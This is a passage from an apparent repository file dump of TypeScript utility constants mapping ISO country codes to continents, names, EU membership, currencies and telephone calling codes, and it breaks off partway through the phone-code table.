    "content": "export const CONTINENTS: { [key: string]: string } = {\n  AF: \"Africa\",\n  AN: \"Antarctica\",\n  AS: \"Asia\",\n  EU: \"Europe\",\n  NA: \"North America\",\n  OC: \"Oceania\",\n  SA: \"South America\",\n};\n\nexport const CONTINENT_CODES = Object.keys(CONTINENTS) as [string, ...string[]];\n\nexport const COUNTRIES_TO_CONTINENTS: { [key: string]: string } = {\n  AF: \"AS\", // Afghanistan - Asia\n  AL: \"EU\", // Albania - Europe\n  DZ: \"AF\", // Algeria - Africa\n  AS: \"OC\", // American Samoa - Oceania\n  AD: \"EU\", // Andorra - Europe\n  AO: \"AF\", // Angola - Africa\n  AI: \"NA\", // Anguilla - North America\n  AQ: \"AN\", // Antarctica - Antarctica\n  AG: \"NA\", // Antigua and Barbuda - North America\n  AR: \"SA\", // Argentina - South America\n  AM: \"AS\", // Armenia - Asia\n  AW: \"NA\", // Aruba - North America\n  AU: \"OC\", // Australia - Oceania\n  AT: \"EU\", // Austria - Europe\n  AZ: \"AS\", // Azerbaijan - Asia\n  BS: \"NA\", // Bahamas - North America\n  BH: \"AS\", // Bahrain - Asia\n  BD: \"AS\", // Bangladesh - Asia\n  BB: \"NA\", // Barbados - North America\n  BY: \"EU\", // Belarus - Europe\n  BE: \"EU\", // Belgium - Europe\n  BZ: \"NA\", // Belize - North America\n  BJ: \"AF\", // Benin - Africa\n  BM: \"NA\", // Bermuda - North America\n  BT: \"AS\", // Bhutan - Asia\n  BO: \"SA\", // Bolivia - South America\n  BA: \"EU\", // Bosnia and Herzegovina - Europe\n  BW: \"AF\", // Botswana - Africa\n  BV: \"AN\", // Bouvet Island - Antarctica\n  BR: \"SA\", // Brazil - South America\n  IO: \"AS\", // British Indian Ocean Territory - Asia\n  BN: \"AS\", // Brunei Darussalam - Asia\n  BG: \"EU\", // Bulgaria - Europe\n  BF: \"AF\", // Burkina Faso - Africa\n  BI: \"AF\", // Burundi - Africa\n  KH: \"AS\", // Cambodia - Asia\n  CM: \"AF\", // Cameroon - Africa\n  CA: \"NA\", // Canada - North America\n  CV: \"AF\", // Cape Verde - Africa\n  KY: \"NA\", // Cayman Islands - North America\n  CF: \"AF\", // Central African Republic - Africa\n  TD: \"AF\", // Chad - Africa\n  CL: \"SA\", // Chile - South America\n  CN: \"AS\", // China - Asia\n  CX: \"AS\", // Christmas Island - Asia\n  CC: \"AS\", // Cocos (Keeling) Islands - Asia\n  CO: \"SA\", // Colombia - South America\n  KM: \"AF\", // Comoros - Africa\n  CG: \"AF\", // Congo (Republic) - Africa\n  CD: \"AF\", // Congo (Democratic Republic) - Africa\n  CK: \"OC\", // Cook Islands - Oceania\n  CR: \"NA\", // Costa Rica - North America\n  CI: \"AF\", // Ivory Coast - Africa\n  HR: \"EU\", // Croatia - Europe\n  CU: \"NA\", // Cuba - North America\n  CY: \"AS\", // Cyprus - Asia\n  CZ: \"EU\", // Czech Republic - Europe\n  DK: \"EU\", // Denmark - Europe\n  DJ: \"AF\", // Djibouti - Africa\n  DM: \"NA\", // Dominica - North America\n  DO: \"NA\", // Dominican Republic - North America\n  EC: \"SA\", // Ecuador - South America\n  EG: \"AF\", // Egypt - Africa\n  SV: \"NA\", // El Salvador - North America\n  GQ: \"AF\", // Equatorial Guinea - Africa\n  ER: \"AF\", // Eritrea - Africa\n  EE: \"EU\", // Estonia - Europe\n  ET: \"AF\", // Ethiopia - Africa\n  FK: \"SA\", // Falkland Islands - South America\n  FO: \"EU\", // Faroe Islands - Europe\n  FJ: \"OC\", // Fiji - Oceania\n  FI: \"EU\", // Finland - Europe\n  FR: \"EU\", // France - Europe\n  GF: \"SA\", // French Guiana - South America\n  PF: \"OC\", // French Polynesia - Oceania\n  TF: \"AN\", // French Southern Territories - Antarctica\n  GA: \"AF\", // Gabon - Africa\n  GM: \"AF\", // Gambia - Africa\n  GE: \"AS\", // Georgia - Asia\n  DE: \"EU\", // Germany - Europe\n  GH: \"AF\", // Ghana - Africa\n  GI: \"EU\", // Gibraltar - Europe\n  GR: \"EU\", // Greece - Europe\n  GL: \"NA\", // Greenland - North America\n  GD: \"NA\", // Grenada - North America\n  GP: \"NA\", // Guadeloupe - North America\n  GU: \"OC\", // Guam - Oceania\n  GT: \"NA\", // Guatemala - North America\n  GN: \"AF\", // Guinea - Africa\n  GW: \"AF\", // Guinea-Bissau - Africa\n  GY: \"SA\", // Guyana - South America\n  HT: \"NA\", // Haiti - North America\n  HM: \"AN\", // Heard Island and McDonald Islands - Antarctica\n  VA: \"EU\", // Vatican City - Europe\n  HN: \"NA\", // Honduras - North America\n  HK: \"AS\", // Hong Kong - Asia\n  HU: \"EU\", // Hungary - Europe\n  IS: \"EU\", // Iceland - Europe\n  IN: \"AS\", // India - Asia\n  ID: \"AS\", // Indonesia - Asia\n  IR: \"AS\", // Iran - Asia\n  IQ: \"AS\", // Iraq - Asia\n  IE: \"EU\", // Ireland - Europe\n  IL: \"AS\", // Israel - Asia\n  IT: \"EU\", // Italy - Europe\n  JM: \"NA\", // Jamaica - North America\n  JP: \"AS\", // Japan - Asia\n  JO: \"AS\", // Jordan - Asia\n  KZ: \"AS\", // Kazakhstan - Asia\n  KE: \"AF\", // Kenya - Africa\n  KI: \"OC\", // Kiribati - Oceania\n  KP: \"AS\", // North Korea - Asia\n  KR: \"AS\", // South Korea - Asia\n  KW: \"AS\", // Kuwait - Asia\n  KG: \"AS\", // Kyrgyzstan - Asia\n  LA: \"AS\", // Laos - Asia\n  LV: \"EU\", // Latvia - Europe\n  LB: \"AS\", // Lebanon - Asia\n  LS: \"AF\", // Lesotho - Africa\n  LR: \"AF\", // Liberia - Africa\n  LY: \"AF\", // Libya - Africa\n  LI: \"EU\", // Liechtenstein - Europe\n  LT: \"EU\", // Lithuania - Europe\n  LU: \"EU\", // Luxembourg - Europe\n  MO: \"AS\", // Macao - Asia\n  MG: \"AF\", // Madagascar - Africa\n  MW: \"AF\", // Malawi - Africa\n  MY: \"AS\", // Malaysia - Asia\n  MV: \"AS\", // Maldives - Asia\n  ML: \"AF\", // Mali - Africa\n  MT: \"EU\", // Malta - Europe\n  MH: \"OC\", // Marshall Islands - Oceania\n  MQ: \"NA\", // Martinique - North America\n  MR: \"AF\", // Mauritania - Africa\n  MU: \"AF\", // Mauritius - Africa\n  YT: \"AF\", // Mayotte - Africa\n  MX: \"NA\", // Mexico - North America\n  FM: \"OC\", // Micronesia - Oceania\n  MD: \"EU\", // Moldova - Europe\n  MC: \"EU\", // Monaco - Europe\n  MN: \"AS\", // Mongolia - Asia\n  MS: \"NA\", // Montserrat - North America\n  MA: \"AF\", // Morocco - Africa\n  MZ: \"AF\", // Mozambique - Africa\n  MM: \"AS\", // Myanmar - Asia\n  NA: \"AF\", // Namibia - Africa\n  NR: \"OC\", // Nauru - Oceania\n  NP: \"AS\", // Nepal - Asia\n  NL: \"EU\", // Netherlands - Europe\n  NC: \"OC\", // New Caledonia - Oceania\n  NZ: \"OC\", // New Zealand - Oceania\n  NI: \"NA\", // Nicaragua - North America\n  NE: \"AF\", // Niger - Africa\n  NG: \"AF\", // Nigeria - Africa\n  NU: \"OC\", // Niue - Oceania\n  NF: \"OC\", // Norfolk Island - Oceania\n  MK: \"EU\", // Macedonia - Europe\n  MP: \"OC\", // Northern Mariana Islands - Oceania\n  NO: \"EU\", // Norway - Europe\n  OM: \"AS\", // Oman - Asia\n  PK: \"AS\", // Pakistan - Asia\n  PW: \"OC\", // Palau - Oceania\n  PS: \"AS\", // Palestine - Asia\n  PA: \"NA\", // Panama - North America\n  PG: \"OC\", // Papua New Guinea - Oceania\n  PY: \"SA\", // Paraguay - South America\n  PE: \"SA\", // Peru - South America\n  PH: \"AS\", // Philippines - Asia\n  PN: \"OC\", // Pitcairn - Oceania\n  PL: \"EU\", // Poland - Europe\n  PT: \"EU\", // Portugal - Europe\n  PR: \"NA\", // Puerto Rico - North America\n  QA: \"AS\", // Qatar - Asia\n  RE: \"AF\", // Reunion - Africa\n  RO: \"EU\", // Romania - Europe\n  RU: \"EU\", // Russia - Europe\n  RW: \"AF\", // Rwanda - Africa\n  SH: \"AF\", // Saint Helena - Africa\n  KN: \"NA\", // Saint Kitts and Nevis - North America\n  LC: \"NA\", // Saint Lucia - North America\n  PM: \"NA\", // Saint Pierre and Miquelon - North America\n  VC: \"NA\", // Saint Vincent and the Grenadines - North America\n  WS: \"OC\", // Samoa - Oceania\n  SM: \"EU\", // San Marino - Europe\n  ST: \"AF\", // Sao Tome and Principe - Africa\n  SA: \"AS\", // Saudi Arabia - Asia\n  SN: \"AF\", // Senegal - Africa\n  SC: \"AF\", // Seychelles - Africa\n  SL: \"AF\", // Sierra Leone - Africa\n  SG: \"AS\", // Singapore - Asia\n  SK: \"EU\", // Slovakia - Europe\n  SI: \"EU\", // Slovenia - Europe\n  SB: \"OC\", // Solomon Islands - Oceania\n  SO: \"AF\", // Somalia - Africa\n  ZA: \"AF\", // South Africa - Africa\n  GS: \"AN\", // South Georgia and the South Sandwich Islands - Antarctica\n  ES: \"EU\", // Spain - Europe\n  LK: \"AS\", // Sri Lanka - Asia\n  SD: \"AF\", // Sudan - Africa\n  SR: \"SA\", // Suriname - South America\n  SJ: \"EU\", // Svalbard and Jan Mayen - Europe\n  SZ: \"AF\", // Eswatini - Africa\n  SE: \"EU\", // Sweden - Europe\n  CH: \"EU\", // Switzerland - Europe\n  SY: \"AS\", // Syrian Arab Republic - Asia\n  TW: \"AS\", // Taiwan - Asia\n  TJ: \"AS\", // Tajikistan - Asia\n  TZ: \"AF\", // Tanzania - Africa\n  TH: \"AS\", // Thailand - Asia\n  TL: \"AS\", // Timor-Leste - Asia\n  TG: \"AF\", // Togo - Africa\n  TK: \"OC\", // Tokelau - Oceania\n  TO: \"OC\", // Tonga - Oceania\n  TT: \"NA\", // Trinidad and Tobago - North America\n  TN: \"AF\", // Tunisia - Africa\n  TR: \"AS\", // Turkey - Asia\n  TM: \"AS\", // Turkmenistan - Asia\n  TC: \"NA\", // Turks and Caicos Islands - North America\n  TV: \"OC\", // Tuvalu - Oceania\n  UG: \"AF\", // Uganda - Africa\n  UA: \"EU\", // Ukraine - Europe\n  AE: \"AS\", // United Arab Emirates - Asia\n  GB: \"EU\", // United Kingdom - Europe\n  US: \"NA\", // United States - North America\n  UM: \"OC\", // United States Minor Outlying Islands - Oceania\n  UY: \"SA\", // Uruguay - South America\n  UZ: \"AS\", // Uzbekistan - Asia\n  VU: \"OC\", // Vanuatu - Oceania\n  VE: \"SA\", // Venezuela - South America\n  VN: \"AS\", // Vietnam - Asia\n  VG: \"NA\", // Virgin Islands, British - North America\n  VI: \"NA\", // Virgin Islands, U.S. - North America\n  WF: \"OC\", // Wallis and Futuna - Oceania\n  EH: \"AF\", // Western Sahara - Africa\n  YE: \"AS\", // Yemen - Asia\n  ZM: \"AF\", // Zambia - Africa\n  ZW: \"AF\", // Zimbabwe - Africa\n  AX: \"EU\", // Åland Islands - Europe\n  BQ: \"NA\", // Bonaire, Sint Eustatius and Saba - North America\n  CW: \"NA\", // Curaçao - North America\n  GG: \"EU\", // Guernsey - Europe\n  IM: \"EU\", // Isle of Man - Europe\n  JE: \"EU\", // Jersey - Europe\n  ME: \"EU\", // Montenegro - Europe\n  BL: \"NA\", // Saint Barthélemy - North America\n  MF: \"NA\", // Saint Martin (French part) - North America\n  RS: \"EU\", // Serbia - Europe\n  SX: \"NA\", // Sint Maarten (Dutch part) - North America\n  SS: \"AF\", // South Sudan - Africa\n  XK: \"EU\", // Kosovo - Europe\n};\n"
  },
  {
    "path": "packages/utils/src/constants/countries.ts",
    "content": "export const COUNTRIES: { [key: string]: string } = {\n  AF: \"Afghanistan\",\n  AL: \"Albania\",\n  DZ: \"Algeria\",\n  AS: \"American Samoa\",\n  AD: \"Andorra\",\n  AO: \"Angola\",\n  AI: \"Anguilla\",\n  AQ: \"Antarctica\",\n  AG: \"Antigua and Barbuda\",\n  AR: \"Argentina\",\n  AM: \"Armenia\",\n  AW: \"Aruba\",\n  AU: \"Australia\",\n  AT: \"Austria\",\n  AZ: \"Azerbaijan\",\n  BS: \"Bahamas\",\n  BH: \"Bahrain\",\n  BD: \"Bangladesh\",\n  BB: \"Barbados\",\n  BY: \"Belarus\",\n  BE: \"Belgium\",\n  BZ: \"Belize\",\n  BJ: \"Benin\",\n  BM: \"Bermuda\",\n  BT: \"Bhutan\",\n  BO: \"Bolivia\",\n  BA: \"Bosnia and Herzegovina\",\n  BW: \"Botswana\",\n  BV: \"Bouvet Island\",\n  BR: \"Brazil\",\n  IO: \"British Indian Ocean Territory\",\n  BN: \"Brunei Darussalam\",\n  BG: \"Bulgaria\",\n  BF: \"Burkina Faso\",\n  BI: \"Burundi\",\n  KH: \"Cambodia\",\n  CM: \"Cameroon\",\n  CA: \"Canada\",\n  CV: \"Cape Verde\",\n  KY: \"Cayman Islands\",\n  CF: \"Central African Republic\",\n  TD: \"Chad\",\n  CL: \"Chile\",\n  CN: \"China\",\n  CX: \"Christmas Island\",\n  CC: \"Cocos (Keeling) Islands\",\n  CO: \"Colombia\",\n  KM: \"Comoros\",\n  CG: \"Congo (Republic)\",\n  CD: \"Congo (Democratic Republic)\",\n  CK: \"Cook Islands\",\n  CR: \"Costa Rica\",\n  CI: \"Ivory Coast\",\n  HR: \"Croatia\",\n  CU: \"Cuba\",\n  CY: \"Cyprus\",\n  CZ: \"Czech Republic\",\n  DK: \"Denmark\",\n  DJ: \"Djibouti\",\n  DM: \"Dominica\",\n  DO: \"Dominican Republic\",\n  EC: \"Ecuador\",\n  EG: \"Egypt\",\n  SV: \"El Salvador\",\n  GQ: \"Equatorial Guinea\",\n  ER: \"Eritrea\",\n  EE: \"Estonia\",\n  ET: \"Ethiopia\",\n  FK: \"Falkland Islands\",\n  FO: \"Faroe Islands\",\n  FJ: \"Fiji\",\n  FI: \"Finland\",\n  FR: \"France\",\n  GF: \"French Guiana\",\n  PF: \"French Polynesia\",\n  TF: \"French Southern Territories\",\n  GA: \"Gabon\",\n  GM: \"Gambia\",\n  GE: \"Georgia\",\n  DE: \"Germany\",\n  GH: \"Ghana\",\n  GI: \"Gibraltar\",\n  GR: \"Greece\",\n  GL: \"Greenland\",\n  GD: \"Grenada\",\n  GP: \"Guadeloupe\",\n  GU: \"Guam\",\n  GT: \"Guatemala\",\n  GN: \"Guinea\",\n  GW: \"Guinea-Bissau\",\n  GY: \"Guyana\",\n  HT: \"Haiti\",\n  HM: \"Heard Island and McDonald Islands\",\n  VA: \"Vatican City\",\n  HN: \"Honduras\",\n  HK: \"Hong Kong\",\n  HU: \"Hungary\",\n  IS: \"Iceland\",\n  IN: \"India\",\n  ID: \"Indonesia\",\n  IR: \"Iran\",\n  IQ: \"Iraq\",\n  IE: \"Ireland\",\n  IL: \"Israel\",\n  IT: \"Italy\",\n  JM: \"Jamaica\",\n  JP: \"Japan\",\n  JO: \"Jordan\",\n  KZ: \"Kazakhstan\",\n  KE: \"Kenya\",\n  KI: \"Kiribati\",\n  KP: \"North Korea\",\n  KR: \"South Korea\",\n  KW: \"Kuwait\",\n  KG: \"Kyrgyzstan\",\n  LA: \"Laos\",\n  LV: \"Latvia\",\n  LB: \"Lebanon\",\n  LS: \"Lesotho\",\n  LR: \"Liberia\",\n  LY: \"Libya\",\n  LI: \"Liechtenstein\",\n  LT: \"Lithuania\",\n  LU: \"Luxembourg\",\n  MO: \"Macao\",\n  MG: \"Madagascar\",\n  MW: \"Malawi\",\n  MY: \"Malaysia\",\n  MV: \"Maldives\",\n  ML: \"Mali\",\n  MT: \"Malta\",\n  MH: \"Marshall Islands\",\n  MQ: \"Martinique\",\n  MR: \"Mauritania\",\n  MU: \"Mauritius\",\n  YT: \"Mayotte\",\n  MX: \"Mexico\",\n  FM: \"Micronesia\",\n  MD: \"Moldova\",\n  MC: \"Monaco\",\n  MN: \"Mongolia\",\n  MS: \"Montserrat\",\n  MA: \"Morocco\",\n  MZ: \"Mozambique\",\n  MM: \"Myanmar\",\n  NA: \"Namibia\",\n  NR: \"Nauru\",\n  NP: \"Nepal\",\n  NL: \"Netherlands\",\n  NC: \"New Caledonia\",\n  NZ: \"New Zealand\",\n  NI: \"Nicaragua\",\n  NE: \"Niger\",\n  NG: \"Nigeria\",\n  NU: \"Niue\",\n  NF: \"Norfolk Island\",\n  MK: \"Macedonia\",\n  MP: \"Northern Mariana Islands\",\n  NO: \"Norway\",\n  OM: \"Oman\",\n  PK: \"Pakistan\",\n  PW: \"Palau\",\n  PS: \"Palestine\",\n  PA: \"Panama\",\n  PG: \"Papua New Guinea\",\n  PY: \"Paraguay\",\n  PE: \"Peru\",\n  PH: \"Philippines\",\n  PN: \"Pitcairn\",\n  PL: \"Poland\",\n  PT: \"Portugal\",\n  PR: \"Puerto Rico\",\n  QA: \"Qatar\",\n  RE: \"Reunion\",\n  RO: \"Romania\",\n  RU: \"Russia\",\n  RW: \"Rwanda\",\n  SH: \"Saint Helena\",\n  KN: \"Saint Kitts and Nevis\",\n  LC: \"Saint Lucia\",\n  PM: \"Saint Pierre and Miquelon\",\n  VC: \"Saint Vincent and the Grenadines\",\n  WS: \"Samoa\",\n  SM: \"San Marino\",\n  ST: \"Sao Tome and Principe\",\n  SA: \"Saudi Arabia\",\n  SN: \"Senegal\",\n  SC: \"Seychelles\",\n  SL: \"Sierra Leone\",\n  SG: \"Singapore\",\n  SK: \"Slovakia\",\n  SI: \"Slovenia\",\n  SB: \"Solomon Islands\",\n  SO: \"Somalia\",\n  ZA: \"South Africa\",\n  GS: \"South Georgia and the South Sandwich Islands\",\n  ES: \"Spain\",\n  LK: \"Sri Lanka\",\n  SD: \"Sudan\",\n  SR: \"Suriname\",\n  SJ: \"Svalbard and Jan Mayen\",\n  SZ: \"Eswatini\",\n  SE: \"Sweden\",\n  CH: \"Switzerland\",\n  SY: \"Syrian Arab Republic\",\n  TW: \"Taiwan\",\n  TJ: \"Tajikistan\",\n  TZ: \"Tanzania\",\n  TH: \"Thailand\",\n  TL: \"Timor-Leste\",\n  TG: \"Togo\",\n  TK: \"Tokelau\",\n  TO: \"Tonga\",\n  TT: \"Trinidad and Tobago\",\n  TN: \"Tunisia\",\n  TR: \"Turkey\",\n  TM: \"Turkmenistan\",\n  TC: \"Turks and Caicos Islands\",\n  TV: \"Tuvalu\",\n  UG: \"Uganda\",\n  UA: \"Ukraine\",\n  AE: \"United Arab Emirates\",\n  GB: \"United Kingdom\",\n  US: \"United States\",\n  UM: \"United States Minor Outlying Islands\",\n  UY: \"Uruguay\",\n  UZ: \"Uzbekistan\",\n  VU: \"Vanuatu\",\n  VE: \"Venezuela\",\n  VN: \"Vietnam\",\n  VG: \"Virgin Islands, British\",\n  VI: \"Virgin Islands, U.S.\",\n  WF: \"Wallis and Futuna\",\n  EH: \"Western Sahara\",\n  YE: \"Yemen\",\n  ZM: \"Zambia\",\n  ZW: \"Zimbabwe\",\n  AX: \"Åland Islands\",\n  BQ: \"Bonaire, Sint Eustatius and Saba\",\n  CW: \"Curaçao\",\n  GG: \"Guernsey\",\n  IM: \"Isle of Man\",\n  JE: \"Jersey\",\n  ME: \"Montenegro\",\n  BL: \"Saint Barthélemy\",\n  MF: \"Saint Martin (French part)\",\n  RS: \"Serbia\",\n  SX: \"Sint Maarten (Dutch part)\",\n  SS: \"South Sudan\",\n  XK: \"Kosovo\",\n};\n\nexport const COUNTRY_CODES = Object.keys(COUNTRIES) as [string, ...string[]];\n\nexport const EU_COUNTRY_CODES = [\n  \"AT\",\n  \"BE\",\n  \"BG\",\n  \"CY\",\n  \"CZ\",\n  \"DE\",\n  \"DK\",\n  \"EE\",\n  \"ES\",\n  \"FI\",\n  \"FR\",\n  \"GB\",\n  \"GR\",\n  \"HR\",\n  \"HU\",\n  \"IE\",\n  \"IT\",\n  \"LT\",\n  \"LU\",\n  \"LV\",\n  \"MT\",\n  \"NL\",\n  \"PL\",\n  \"PT\",\n  \"RO\",\n  \"SE\",\n  \"SI\",\n  \"SK\",\n];\n"
  },
  {
    "path": "packages/utils/src/constants/country-currency-codes.ts",
    "content": "export const COUNTRY_CURRENCY_CODES: { [key: string]: string } = {\n  // A\n  AF: \"AFN\",\n  AL: \"ALL\",\n  DZ: \"DZD\",\n  AS: \"USD\",\n  AD: \"EUR\",\n  AO: \"AOA\",\n  AI: \"XCD\",\n  AQ: \"N/A\",\n  AG: \"XCD\",\n  AR: \"ARS\",\n  AM: \"AMD\",\n  AW: \"AWG\",\n  AU: \"AUD\",\n  AT: \"EUR\",\n  AZ: \"AZN\",\n\n  // B\n  BS: \"BSD\",\n  BH: \"BHD\",\n  BD: \"BDT\",\n  BB: \"BBD\",\n  BY: \"BYN\",\n  BE: \"EUR\",\n  BZ: \"BZD\",\n  BJ: \"XOF\",\n  BM: \"BMD\",\n  BT: \"BTN\",\n  BO: \"BOB\",\n  BA: \"BAM\",\n  BW: \"BWP\",\n  BV: \"NOK\",\n  BR: \"BRL\",\n  IO: \"USD\",\n  BN: \"BND\",\n  BG: \"BGN\",\n  BF: \"XOF\",\n  BI: \"BIF\",\n\n  // C\n  KH: \"KHR\",\n  CM: \"XAF\",\n  CA: \"CAD\",\n  CV: \"CVE\",\n  KY: \"KYD\",\n  CF: \"XAF\",\n  TD: \"XAF\",\n  CL: \"CLP\",\n  CN: \"CNY\",\n  CX: \"AUD\",\n  CC: \"AUD\",\n  CO: \"COP\",\n  KM: \"KMF\",\n  CG: \"XAF\",\n  CD: \"CDF\",\n  CK: \"NZD\",\n  CR: \"CRC\",\n  CI: \"XOF\",\n  HR: \"EUR\",\n  CU: \"CUP\",\n  CY: \"EUR\",\n  CZ: \"CZK\",\n\n  // D\n  DK: \"DKK\",\n  DJ: \"DJF\",\n  DM: \"XCD\",\n  DO: \"DOP\",\n\n  // E\n  EC: \"USD\",\n  EG: \"EGP\",\n  SV: \"USD\",\n  GQ: \"XAF\",\n  ER: \"ERN\",\n  EE: \"EUR\",\n  ET: \"ETB\",\n\n  // F\n  FK: \"FKP\",\n  FO: \"DKK\",\n  FJ: \"FJD\",\n  FI: \"EUR\",\n  FR: \"EUR\",\n  GF: \"EUR\",\n  PF: \"XPF\",\n  TF: \"EUR\",\n\n  // G\n  GA: \"XAF\",\n  GM: \"GMD\",\n  GE: \"GEL\",\n  DE: \"EUR\",\n  GH: \"GHS\",\n  GI: \"GIP\",\n  GR: \"EUR\",\n  GL: \"DKK\",\n  GD: \"XCD\",\n  GP: \"EUR\",\n  GU: \"USD\",\n  GT: \"GTQ\",\n  GN: \"GNF\",\n  GW: \"XOF\",\n  GY: \"GYD\",\n\n  // H\n  HT: \"HTG\",\n  HM: \"AUD\",\n  VA: \"EUR\",\n  HN: \"HNL\",\n  HK: \"HKD\",\n  HU: \"HUF\",\n\n  // I\n  IS: \"ISK\",\n  IN: \"INR\",\n  ID: \"IDR\",\n  IR: \"IRR\",\n  IQ: \"IQD\",\n  IE: \"EUR\",\n  IL: \"ILS\",\n  IT: \"EUR\",\n\n  // J\n  JM: \"JMD\",\n  JP: \"JPY\",\n  JO: \"JOD\",\n\n  // K\n  KZ: \"KZT\",\n  KE: \"KES\",\n  KI: \"AUD\",\n  KP: \"KPW\",\n  KR: \"KRW\",\n  KW: \"KWD\",\n  KG: \"KGS\",\n\n  // L\n  LA: \"LAK\",\n  LV: \"EUR\",\n  LB: \"LBP\",\n  LS: \"LSL\",\n  LR: \"LRD\",\n  LY: \"LYD\",\n  LI: \"CHF\",\n  LT: \"EUR\",\n  LU: \"EUR\",\n\n  // M\n  MO: \"MOP\",\n  MG: \"MGA\",\n  MW: \"MWK\",\n  MY: \"MYR\",\n  MV: \"MVR\",\n  ML: \"XOF\",\n  MT: \"EUR\",\n  MH: \"USD\",\n  MQ: \"EUR\",\n  MR: \"MRU\",\n  MU: \"MUR\",\n  YT: \"EUR\",\n  MX: \"MXN\",\n  FM: \"USD\",\n  MD: \"MDL\",\n  MC: \"EUR\",\n  MN: \"MNT\",\n  MS: \"XCD\",\n  MA: \"MAD\",\n  MZ: \"MZN\",\n  MM: \"MMK\",\n\n  // N\n  NA: \"NAD\",\n  NR: \"AUD\",\n  NP: \"NPR\",\n  NL: \"EUR\",\n  NC: \"XPF\",\n  NZ: \"NZD\",\n  NI: \"NIO\",\n  NE: \"XOF\",\n  NG: \"NGN\",\n  NU: \"NZD\",\n  NF: \"AUD\",\n  MK: \"MKD\",\n  MP: \"USD\",\n  NO: \"NOK\",\n\n  // O\n  OM: \"OMR\",\n\n  // P\n  PK: \"PKR\",\n  PW: \"USD\",\n  PS: \"ILS\",\n  PA: \"PAB\",\n  PG: \"PGK\",\n  PY: \"PYG\",\n  PE: \"PEN\",\n  PH: \"PHP\",\n  PN: \"NZD\",\n  PL: \"PLN\",\n  PT: \"EUR\",\n  PR: \"USD\",\n\n  // Q\n  QA: \"QAR\",\n\n  // R\n  RE: \"EUR\",\n  RO: \"RON\",\n  RU: \"RUB\",\n  RW: \"RWF\",\n\n  // S\n  SH: \"SHP\",\n  KN: \"XCD\",\n  LC: \"XCD\",\n  PM: \"EUR\",\n  VC: \"XCD\",\n  WS: \"WST\",\n  SM: \"EUR\",\n  ST: \"STN\",\n  SA: \"SAR\",\n  SN: \"XOF\",\n  SC: \"SCR\",\n  SL: \"SLE\",\n  SG: \"SGD\",\n  SK: \"EUR\",\n  SI: \"EUR\",\n  SB: \"SBD\",\n  SO: \"SOS\",\n  ZA: \"ZAR\",\n  GS: \"GBP\",\n  ES: \"EUR\",\n  LK: \"LKR\",\n  SD: \"SDG\",\n  SR: \"SRD\",\n  SJ: \"NOK\",\n  SZ: \"SZL\",\n  SE: \"SEK\",\n  CH: \"CHF\",\n  SY: \"SYP\",\n\n  // T\n  TW: \"TWD\",\n  TJ: \"TJS\",\n  TZ: \"TZS\",\n  TH: \"THB\",\n  TL: \"USD\",\n  TG: \"XOF\",\n  TK: \"NZD\",\n  TO: \"TOP\",\n  TT: \"TTD\",\n  TN: \"TND\",\n  TR: \"TRY\",\n  TM: \"TMT\",\n  TC: \"USD\",\n  TV: \"AUD\",\n\n  // U\n  UG: \"UGX\",\n  UA: \"UAH\",\n  AE: \"AED\",\n  GB: \"GBP\",\n  US: \"USD\",\n  UM: \"USD\",\n  UY: \"UYU\",\n  UZ: \"UZS\",\n\n  // V\n  VU: \"VUV\",\n  VE: \"VES\",\n  VN: \"VND\",\n  VG: \"USD\",\n  VI: \"USD\",\n\n  // W\n  WF: \"XPF\",\n  EH: \"MAD\",\n\n  // Y\n  YE: \"YER\",\n\n  // Z\n  ZM: \"ZMW\",\n  ZW: \"ZWG\",\n\n  // Additional territories\n  AX: \"EUR\",\n  BQ: \"USD\",\n  CW: \"ANG\",\n  GG: \"GBP\",\n  IM: \"GBP\",\n  JE: \"GBP\",\n  ME: \"EUR\",\n  BL: \"EUR\",\n  MF: \"EUR\",\n  RS: \"RSD\",\n  SX: \"ANG\",\n  SS: \"SSP\",\n  XK: \"EUR\",\n};\n"
  },
  {
    "path": "packages/utils/src/constants/country-phone-codes.ts",
    "content": "export const COUNTRY_PHONE_CODES: { [key: string]: number } = {\n  AF: 93,\n  AL: 355,\n  DZ: 213,\n  AS: 1,\n  AD: 376,\n  AO: 244,\n  AI: 1,\n  AQ: 672,\n  AG: 1,\n  AR: 54,\n  AM: 374,\n  AW: 297,\n  AU: 61,\n  AT: 43,\n  AZ: 994,\n  BS: 1,\n  BH: 973,\n  BD: 880,\n  BB: 1,\n  BY: 375,\n  BE: 32,\n  BZ: 501,\n  BJ: 229,\n  BM: 1,\n  BT: 975,\n  BO: 591,\n  BA: 387,\n  BW: 267,\n  BR: 55,\n  IO: 246,\n  BN: 673,\n  BG: 359,\n  BF: 226,\n  BI: 257,\n  KH: 855,\n  CM: 237,\n  CA: 1,\n  CV: 238,\n  KY: 1,\n  CF: 236,\n  TD: 235,\n  CL: 56,\n  CN: 86,\n  CX: 61,\n  CC: 61,\n  CO: 57,\n  KM: 269,\n  CG: 242,\n  CD: 243,\n  CK: 682,\n  CR: 506,\n  CI: 225,\n  HR: 385,\n  CU: 53,\n  CY: 357,\n  CZ: 420,\n  DK: 45,\n  DJ: 253,\n  DM: 1,\n  DO: 1,\n  EC: 593,\n  EG: 20,\n  SV: 503,\n  GQ: 240,\n  ER: 291,\n  EE: 372,\n  ET: 251,\n  FK: 500,\n  FO: 298,\n  FJ: 679,\n  FI: 358,\n  FR: 33,\n  GF: 594,\n  PF: 689,\n  GA: 241,\n  GM: 220,\n  GE: 995,\n  DE: 49,\n  GH: 233,\n  GI: 350,\n  GR: 30,\n  GL: 299,\n  GD: 1,\n  GP: 590,\n  GU: 1,\n  GT: 502,\n  GN: 224,\n  GW: 245,\n  GY: 592,\n  HT: 509,\n  VA: 379,\n  HN: 504,\n  HK: 852,\n  HU: 36,\n  IS: 354,\n  IN: 91,\n  ID: 62,\n  IR: 98,\n  IQ: 964,\n  IE: 353,\n  IL: 972,\n  IT: 39,\n  JM: 1,\n  JP: 81,\n  JO: 962,\n  KZ: 7,\n  KE: 254,\n  KI: 686,\n  KP: 850,\n  KR: 82,\n  KW: 965,\n  KG: 996,\n  LA: 856,\n  LV: 371,\n  LB: 961,\n  LS: 266,\n  LR: 231,\n  LY: 218,\n  LI: 423,\n  LT: 370,\n  LU: 352,\n  MO: 853,\n  MG: 261,\n  MW: 265,\n  MY: 60,\n  MV: 960,\n  ML: 223,\n  MT: 356,\n  MH: 692,\n  MQ: 596,\n  MR: 222,\n  MU: 230,\n  YT: 262,\n  MX: 52,\n  FM: 691,\n  MD: 373,\n  MC: 377,\n  MN: 976,\n  MS: 1,\n  MA: 212,\n  MZ: 258,\n  MM: 95,\n  NA: 264,\n  NR: 674,\n  NP: 977,\n  NL: 31,\n  NC: 687,\n  NZ: 